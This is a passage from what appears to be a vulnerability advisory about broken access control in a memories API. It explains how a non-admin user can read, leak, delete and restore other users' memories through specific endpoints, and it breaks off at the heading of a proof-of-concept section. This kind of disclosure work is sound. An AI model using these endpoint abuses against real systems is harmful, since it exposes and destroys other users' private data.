See below under the PoC section, where a call to `GET /api/v1/memories/` returns `[]` (as expected) but a call to `POST /api/v1/memories/query` reveals memories created by other users.\n\nSimilarly, even if a non-admin user cannot modify another user's memory data via `POST /api/v1/memories/{memory_id}/update`, the endpoint's response improperly leaks the content of that memory if a valid memory_id is known.\n\nThe `DELETE /api/v1/memories/{memory_id}` can also be used by any user to delete an existing memory. Deleted memories can then be restored by calling the `POST /api/v1/memories/{memory_id}/update` endpoint again.\n\n### PoC 1\n\n**Example of a user with no memories able to query an existing memory
